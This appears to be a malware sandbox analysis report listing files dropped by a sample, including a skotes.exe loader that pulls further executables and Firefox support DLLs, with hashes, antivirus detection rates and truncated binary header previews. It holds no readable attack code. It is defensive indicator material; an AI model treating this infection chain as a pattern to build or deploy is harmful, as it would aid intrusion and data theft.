C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.946069369366298
Encrypted:	false
SSDEEP:	49152:PlBsiXXQPpeAy1tLPyRG2G6qCkBfxeFaE9Pd:PlBpAYASdPyRGGkBfoFaE9P
MD5:	E33DC32F04E77BC26482BACCB87B9795
SHA1:	E4A57EAD636BD006CECB7D9EC5E9AA36432E1372
SHA-256:	B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431
SHA-512:	13D735438D20B0D352719C6E32584ED6ABFAAD6092FF9124393B3F1C6D6AA4314D0CE27C16CC654583973369572EC823423BE9BE04E34C50184976C0A35C96CF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg............................ i...........@..........................Pi......:....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...szaazyea.....@O......~..............@...jswuitsr......i......D..............@....taggant.0... i.."...H..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2776576
Entropy (8bit):	6.486965983209839
Encrypted:	false
SSDEEP:	49152:ivUY1xSovjUjEK/gbc/3axvGp+1X/I97VJArrI/fKe:QUY7fjUgK/5/GvYIQpAI3
MD5:	F86C08A75747002A2A7CD3FBC5FE05C8
SHA1:	7B9776338FE3A06350C16BC62E927F5BA6490723
SHA-256:	5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A
SHA-512:	2B8AB4CB0D7ABA429F5835462A1C16DD4D0BC1A13C40C5DDF27A900295CA3C168DBA79B8AF97B26F80017755514E43F71120F1C309DECE1FABD41D9147E63790
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......R+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rogrptwg.........)..:..............@...cpllbfsp. ..........8.............@....taggant.@......"...<.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884672
Entropy (8bit):	7.949104699097024
Encrypted:	false
SSDEEP:	49152:5Ir6N++PRgxCGbe4K9FTTH/e3p7IJIZ1KFvGTPeMXPgnktG:t+PHbe4qe5601ssGM/Nt
MD5:	9B88AFC4511D0FE8ACA6080D34F2DD66
SHA1:	4D0ABCC2F053E2B17D3064F65DFFC171F873B043
SHA-256:	5D2B5F0D8B9FBFB231B99678BB332BEE9CFEF9AA6C2ED7E994DBABBB83639004
SHA-512:	F4E9C5BBBB27EB07C192226390833714B82B94CFA4A9FB6B0E0A75ECE7B51EB009B9C2BDC3B70C2EE77A56B7496C1251C50888471CDDF32A2F307EAF134B1490
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..+..@.......^..............@...avxzjrga.@...@0..<...`..............@...vgfnourc......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.946069369366298
Encrypted:	false
SSDEEP:	49152:PlBsiXXQPpeAy1tLPyRG2G6qCkBfxeFaE9Pd:PlBpAYASdPyRGGkBfoFaE9P
MD5:	E33DC32F04E77BC26482BACCB87B9795
SHA1:	E4A57EAD636BD006CECB7D9EC5E9AA36432E1372
SHA-256:	B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431
SHA-512:	13D735438D20B0D352719C6E32584ED6ABFAAD6092FF9124393B3F1C6D6AA4314D0CE27C16CC654583973369572EC823423BE9BE04E34C50184976C0A35C96CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg............................ i...........@..........................Pi......:....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...szaazyea.....@O......~..............@...jswuitsr......i......D..............@....taggant.0... i.."...H..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	965632
Entropy (8bit):	6.692642002047827
Encrypted:	false
SSDEEP:	12288:tqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaUlJL1:tqDEvCTbMWu7rQYlBQcBiT6rprG8aiL
MD5:	7204BB7D150D6D2B21A5FFE9F3A9A017
SHA1:	3AF67E498F6204A88E767EC34CED2CE5FB731373
SHA-256:	70DD93E3CAD56F80A899295AEF97BEC87D01B2D2ABA82D67AE79E0BEA93F813E
SHA-512:	DE172C438010A05116CF23507FC68001FB120B45F715AD46CE16F7C48424D172E149E4E9D400B1446685548C456857169029A4E2F0AA9789D24239295D7BD50F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....`g..........".................w.............@.......................... ............@...@.......@.....................d...\|....@...P.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....P...@...R..................@..@.reloc...u.......v...F..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2776576
Entropy (8bit):	6.486965983209839
Encrypted:	false
SSDEEP:	49152:ivUY1xSovjUjEK/gbc/3axvGp+1X/I97VJArrI/fKe:QUY7fjUgK/5/GvYIQpAI3
MD5:	F86C08A75747002A2A7CD3FBC5FE05C8
SHA1:	7B9776338FE3A06350C16BC62E927F5BA6490723
SHA-256:	5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A
SHA-512:	2B8AB4CB0D7ABA429F5835462A1C16DD4D0BC1A13C40C5DDF27A900295CA3C168DBA79B8AF97B26F80017755514E43F71120F1C309DECE1FABD41D9147E63790
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......R+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rogrptwg.........)..:..............@...cpllbfsp. ..........8.............@....taggant.@......"...<.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2776576
Entropy (8bit):	6.486965983209839
Encrypted:	false
SSDEEP:	49152:ivUY1xSovjUjEK/gbc/3axvGp+1X/I97VJArrI/fKe:QUY7fjUgK/5/GvYIQpAI3
MD5:	F86C08A75747002A2A7CD3FBC5FE05C8
SHA1:	7B9776338FE3A06350C16BC62E927F5BA6490723
SHA-256:	5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A
SHA-512:	2B8AB4CB0D7ABA429F5835462A1C16DD4D0BC1A13C40C5DDF27A900295CA3C168DBA79B8AF97B26F80017755514E43F71120F1C309DECE1FABD41D9147E63790
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......R+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rogrptwg.........)..:..............@...cpllbfsp. ..........8.............@....taggant.@......"...<.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VX0YIFPA9O6IUSKA42AUY9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.946069369366298
Encrypted:	false
SSDEEP:	49152:PlBsiXXQPpeAy1tLPyRG2G6qCkBfxeFaE9Pd:PlBpAYASdPyRGGkBfoFaE9P
MD5:	E33DC32F04E77BC26482BACCB87B9795
SHA1:	E4A57EAD636BD006CECB7D9EC5E9AA36432E1372
SHA-256:	B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431
SHA-512:	13D735438D20B0D352719C6E32584ED6ABFAAD6092FF9124393B3F1C6D6AA4314D0CE27C16CC654583973369572EC823423BE9BE04E34C50184976C0A35C96CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg............................ i...........@..........................Pi......:....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...szaazyea.....@O......~..............@...jswuitsr......i......D..............@....taggant.0... i.."...H..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2952704
Entropy (8bit):	6.537484235217124
Encrypted:	false
SSDEEP:	49152:nvzSPYPGhM06DbXnnIMgFsXK5vQxw6oO:n7SPYPG206DcMCsa5vQKPO
MD5:	BF03B982421C50B3C232A902EED53E31
SHA1:	5F1BDEC3BF5EF51E982EBD35EF62D4AB461891BD
SHA-256:	AD8773DD53DB992FECF9988CBEDEEA0A42E899995030766E4314FBB752B67249
SHA-512:	DD77759327F5BAC2CBB935DE95E4D9C57931A548715FB7DE041D8367B4E98A0EF2476577D399EF2C84A9B2F26516ABF579575949BFD7917BD83CE2F9F91FDFD1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0......u-...@.................................W...k.......D...................H.0...............................0..................................................... . ............................@....rsrc...D...........................@....idata ............................@...nftwithx..*.......).................@...gffxtmqw......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499873181237559
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp6lLZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCeIFNMr4yrdwB0
MD5:	D8139F83FCD3BAF35EF159BA8A7B3554
SHA1:	49E7432FD21DB62B23142DA7D29E5E29F00C4E01
SHA-256:	B81A0A7DB118ECCFABF152ED2DAEC0B4AEF73C5A48CCDF9CC007A572658B96BB
SHA-512:	E218B63C072E632DF46581B682DA8F1C1E414CCB3DFCE8F80A75B4863B1DA192F7438FE25C3094497E6810F84DC1C81FABCF2D4A986CB8C119288A8E5BB121D7
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499873181237559
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp6lLZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCeIFNMr4yrdwB0
MD5:	D8139F83FCD3BAF35EF159BA8A7B3554
SHA1:	49E7432FD21DB62B23142DA7D29E5E29F00C4E01
SHA-256:	B81A0A7DB118ECCFABF152ED2DAEC0B4AEF73C5A48CCDF9CC007A572658B96BB
SHA-512:	E218B63C072E632DF46581B682DA8F1C1E414CCB3DFCE8F80A75B4863B1DA192F7438FE25C3094497E6810F84DC1C81FABCF2D4A986CB8C119288A8E5BB121D7
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
